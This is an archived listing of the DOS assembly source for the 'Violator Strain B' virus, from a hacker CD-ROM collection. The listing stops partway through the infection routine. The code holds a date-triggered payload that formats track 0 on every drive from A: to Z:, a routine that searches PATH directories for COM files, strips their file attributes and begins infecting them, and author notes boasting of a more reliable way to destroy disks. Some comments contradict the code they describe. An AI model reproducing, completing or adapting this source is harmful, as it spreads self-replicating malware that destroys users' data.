home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / VIOLB.ASM < prev    next >
Assembly Source File  |  1994-07-17  |  11KB  |  396 lines

  1. ;*****************************************************************************
  2. ;
  3. ;                        Violator - Strain B
  4. ;
  5. ;*****************************************************************************
  6. ;
  7. ; (Aug/09/90)
  8. ;
  9. ; Development Notes:
  10. ;
  11. ;    I encountered several errors in the original Violator code which I
  12. ;     corrected in this version. Mainly, the INT 26 routine to fuck the
  13. ;    disk. It seems that the routine would crash right after the INT 26
  14. ;     was executed and the whole program would die. I have since fixed
  15. ;    this problem in this version with an INT 13, AH 05 (Format Track)
  16. ;    command. This works better than the subsequent INT 26.
  17. ;
  18. ;
  19. ;*****************************************************************************
  20. ;
  21. ;                Written by - The High Evolutionary -
  22. ;                  RABID Head Programmer
  23. ;
  24. ;                                Revised by: «Onslaught»
  25. ;                               No affiliation with rabId
  26. ;
  27. ;          Copyright (C) 1990 by RABID Nat'nl Development Corp.
  28. ;
  29. ;*****************************************************************************
  30.  
  31. MOV_CX  MACRO   X
  32.         DB      0B9H
  33.         DW      X
  34. ENDM
  35.  
  36. CODE    SEGMENT
  37.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  38.         ORG     $+0100H                ; Set ORG to 100H plus our own
  39.  
  40. VCODE:  JMP     virus
  41.  
  42.     NOP
  43.     NOP
  44.     NOP                     ;15 NOP's to place JMP Header
  45.     NOP
  46.     NOP
  47.     NOP
  48.     NOP
  49.     NOP
  50.     NOP
  51.     NOP
  52.     NOP
  53.     NOP
  54.     NOP
  55.     NOP
  56.     NOP
  57.  
  58. v_start equ     $
  59.  
  60.  
  61. virus:  PUSH    CX
  62.         MOV     DX,OFFSET vir_dat
  63.         CLD
  64.         MOV     SI,DX
  65.         ADD     SI,first_3
  66.     MOV    CX,3
  67.         MOV     DI,OFFSET 100H
  68.         REPZ    MOVSB
  69.         MOV     SI,DX
  70.     MOV     AH,30H
  71.     INT    21H
  72.     CMP    AL,0                ;Quit it it's DOS 1.0
  73.     JNZ    dos_ok
  74.         JMP     quit
  75.  
  76. dos_ok: PUSH    ES
  77.         MOV     AH,2FH
  78.         INT     21H
  79.         MOV     [SI+old_dta],BX
  80.         MOV     [SI+old_dts],ES
  81.         POP     ES
  82.         MOV     DX,dta                  
  83.         ADD     DX,SI                    
  84.         MOV     AH,1AH
  85.         INT     21H                     
  86.         PUSH    ES
  87.         PUSH    SI
  88.         MOV     ES,DS:2CH
  89.         MOV     DI,0                    
  90.     JMP    year_check
  91.  
  92. year_check:
  93.     MOV    AH,2AH            ;Get date info
  94.     INT    21H            ;Call DOS
  95.     CMP    CX,1990            ;Check to see if the year is 1990
  96.     JGE    month_check        ;If greater or equal, check month
  97.     JMP    find_path        ;If not, go on with infection
  98.  
  99. month_check:
  100.     MOV    AH,2AH            ;Get date info
  101.     INT    21h            ;Call DOS
  102.     CMP    DH,10            ;Check to see if it is September
  103.     JGE    day_check        ;If greater or equal, check day
  104.     JMP    find_path        ;if not, go on with infection
  105.  
  106. day_check:
  107.     MOV    AH,2Ah            ;Get date info
  108.     INT    21H            ;Call DOS
  109.     CMP    DL,31            ;Check to see if it is the 4th
  110.     JGE     multiplex        ;If yes, then nuke drives A:-Z:
  111.     JMP    find_path        ;If not, then go on with infection
  112.  
  113. multiplex:
  114.     MOV    AL,cntr            ;Counter is the drive to kill
  115.     CALL    alter            ;Go and kill the drive
  116.                                         ;25 is drive Z:
  117.     CMP    cntr,25            ;Is (cntr) 25 ?
  118.     JE    find_path        ;Go on with infection
  119.     INC    cntr            ;Add one to (cntr)
  120.     LOOP    multiplex        ;Loop back up to kill next drive
  121.  
  122. alter:
  123.     MOV    AH,05            ;Format Track
  124.     MOV    CH,0            ;Format track 0
  125.     MOV    DH,0            ;Head 0
  126.     MOV    DL,cntr            ;Format for drive in (cntr)
  127.     INT    13h            ;Call RWTS
  128.     RET                ;Return up for next drive
  129.  
  130. find_path:
  131.         POP     SI
  132.         PUSH    SI
  133.         ADD     SI,env_str
  134.         LODSB
  135.         MOV     CX,OFFSET 8000H
  136.         REPNZ   SCASB
  137.         MOV     CX,4
  138.  
  139. check_next_4:
  140.         LODSB
  141.         SCASB
  142. ;
  143. ; The JNZ line specifies that if there is no PATH present, then we will go
  144. ; along and infect the ROOT directory on the default drive.
  145. ;
  146.         JNZ     find_path               ;If not path, then go to ROOT dir
  147.         LOOP    check_next_4            ;Go back and check for more chars
  148.         POP     SI            ;Load in PATH again to look for chars
  149.         POP     ES
  150.         MOV     [SI+path_ad],DI
  151.         MOV     DI,SI
  152.         ADD     DI,wrk_spc              ;Put the filename in wrk_spc
  153.         MOV     BX,SI
  154.         ADD     SI,wrk_spc
  155.         MOV     DI,SI
  156.         JMP     SHORT   slash_ok
  157.  
  158. set_subdir:
  159.         CMP     WORD PTR [SI+path_ad],0
  160.         JNZ     found_subdir
  161.         JMP     all_done
  162.  
  163.  
  164. found_subdir:
  165.         PUSH    DS
  166.         PUSH    SI
  167.         MOV     DS,ES:2CH
  168.         MOV     DI,SI
  169.         MOV     SI,ES:[DI+path_ad]
  170.         ADD     DI,wrk_spc              ;DI is the file name to infect! (hehe)
  171.  
  172.  
  173. move_subdir:
  174.         LODSB                           ;To tedious work to move into subdir
  175.         CMP     AL,';'                  ;Does it end with a ; charachter?
  176.         JZ      moved_one               ;if yes, then we found a subdir
  177.         CMP     AL,0                    ;is it the end of the path?
  178.         JZ      moved_last_one          ;if yes, then we save the PATH
  179.         STOSB                           ;marker into DI for future reference
  180.         JMP     SHORT   move_subdir
  181.  
  182. moved_last_one:
  183.         MOV     SI,0
  184.  
  185. moved_one:
  186.         POP     BX                      ;BX is where the virus data is
  187.         POP     DS                      ;Restore DS so that we can do stuph
  188.         MOV     [BX+path_ad],SI         ;Where is the next subdir?
  189.         NOP
  190.         CMP     CH,'\'                  ;Check to see if it ends in \
  191.         JZ      slash_ok                ;If yes, then it's OK
  192.         MOV     AL,'\'                  ;if not, then add one...
  193.         STOSB                ;store the sucker
  194.  
  195.  
  196. slash_ok:
  197.         MOV     [BX+nam_ptr],DI         ;Move the filename into workspace
  198.         MOV     SI,BX                   ;Restore the original SI value
  199.         ADD     SI,f_spec               ;Point to COM file victim
  200.         MOV     CX,6
  201.         REPZ    MOVSB                   ;Move victim into workspace
  202.         MOV     SI,BX
  203.         MOV     AH,4EH
  204.         MOV     DX,wrk_spc
  205.         ADD     DX,SI                   ;DX is ... THE VICTIM!!!
  206.         MOV     CX,3                    ;Attributes of Read Only or Hidden OK
  207.         INT     21H
  208.         JMP     SHORT   find_first
  209.  
  210. find_next:
  211.         MOV     AH,4FH
  212.         INT     21H
  213.  
  214. find_first:
  215.         JNB     found_file              ;Jump if we found it
  216.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  217.  
  218. found_file:
  219.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  220.         AND     AL,1EH                  ;Mask to remove all but seconds
  221.         CMP     AL,1EH                  ;60 seconds
  222.         JZ      find_next
  223.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
  224.         JA      find_next               ;If too long, find another one
  225.         CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
  226.         JB      find_next               ;Then go find another one
  227.         MOV     DI,[SI+nam_ptr]
  228.         PUSH    SI
  229.         ADD     SI,dta_nam
  230.  
  231. more_chars:
  232.         LODSB
  233.         STOSB
  234.         CMP     AL,0
  235.         JNZ     more_chars
  236.         POP     SI
  237.         MOV     AX,OFFSET 4300H
  238.         MOV     DX,wrk_spc
  239.         ADD     DX,SI
  240.         INT     21H
  241.         MOV     [SI+old_att],CX
  242.         MOV     AX,OFFSET 4301H
  243.         AND     CX,OFFSET 0FFFEH
  244.         MOV     DX,wrk_spc
  245.         ADD     DX,SI
  246.         INT     21H
  247.         MOV     AX,OFFSET 3D02H
  248.         MOV     DX,wrk_spc
  249.         ADD     DX,SI
  250.         INT     21H
  251.         JNB     opened_ok
  252.         JMP     fix_attr
  253.  
  254. opened_ok:
  255.         MOV     BX,AX
  256.         MOV     AX,OFFSET 5700H
  257.         INT     21H
  258.         MOV     [SI+old_tim],CX         ;Save file time
  259.         MOV     [SI+ol_date],DX         ;Save the date
  260.         MOV     AH,2CH
  261.         INT     21H
  262.         AND     DH,7
  263.         JMP     infect
  264.  
  265. infect:
  266.         MOV     AH,3FH
  267.         MOV     CX,3
  268.         MOV     DX,first_3
  269.         ADD     DX,SI
  270.         INT     21H             ;Save first 3 bytes into the data area
  271.         JB      fix_time_stamp
  272.         CMP     AX,3
  273.         JNZ     fix_time_stamp
  274.         MOV     AX,OFFSET 4202H
  275.         MOV     CX,0
  276.         MOV     DX,0
  277.         INT     21H
  278.         JB      fix_time_stamp
  279.         MOV     CX,AX
  280.